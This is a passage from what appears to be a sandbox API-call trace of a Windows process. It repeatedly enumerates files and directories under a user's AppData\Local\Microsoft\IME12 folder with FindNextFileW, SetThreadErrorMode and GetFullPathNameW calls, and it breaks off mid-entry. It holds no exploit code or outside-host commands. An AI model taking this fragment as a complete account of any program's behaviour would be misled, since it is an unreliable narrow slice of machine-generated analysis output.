lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.786] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0097.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.786] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IME12", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IME12", lpFilePart=0x0) returned 0x2f [0097.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0097.786] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IME12" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\ime12"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0097.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0097.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.787] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IME12", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IME12", lpFilePart=0x0) returned 0x2f [0097.787] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.787] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0097.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.787] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IME12", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\IME12", lpFilePart=0x0) returned 0x2f [0097.787] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.787] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0097.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0097.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0097.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.788] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.788] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0097.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.788] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.788] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0097.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0097.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0097.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.789] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.789] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0097.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.789] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.789] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0097.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0097.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0097.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.790] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.790] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0097.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.790] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.790] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0097.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0097.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0097.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.791] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.791] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.791] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.791] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.791] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.791] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.791] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0097.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0097.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0097.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.791] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.791] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.791] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.791] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe890) returned 1 [0097.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe88c) returned 1 [0097.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0097.792] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.792] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 0 [0097.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0097.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0097.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0097.792] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.792] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 0 [0097.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0097.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0097.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe890) returned 1 [0097.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe88c) returned 1 [0097.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0097.793] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.793] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.793] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.793] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 0 [0097.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0097.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0097.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0097.794] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.794] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.794] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.794] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 0 [0097.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0097.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0097.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.795] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.795] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.795] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.795] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.795] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.795] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.795] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.795] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.795] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.796] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.796] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0097.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0097.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0097.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.796] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.796] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.796] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.796] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.796] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0097.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0097.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0097.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.797] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.797] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.797] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe890) returned 1 [0097.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe88c) returned 1 [0097.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0097.797] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.797] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.797] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.797] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 0 [0097.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0097.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0097.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0097.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0097.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0097.798] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.798] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.798] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.798] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.798] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.798] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.798] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.798] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.798] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.798] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.798] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.798] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.798] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.799] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0097.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0097.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0097.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0097.799] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.800] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.800] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.800] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.800] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.800] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.800] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.800] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.800] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.800] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.800] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.800] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.800] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.800] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0097.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0097.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0097.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0097.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0097.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0097.801] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.801] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.801] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.801] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.801] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.801] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.802] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.802] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.802] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.802] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.802] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.802] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.802] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.802] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0097.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0097.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0097.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0097.803] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.803] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.803] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.803] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.803] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.803] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.803] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.803] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.803] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.803] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.803] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.803] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.803] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0097.803] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0097.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0097.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0097.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0097.804] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.804] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.804] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.804] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 0 [0097.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0097.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0097.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.804] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.805] FindNextFileW (in: hFindFile=0x6fe97d8, 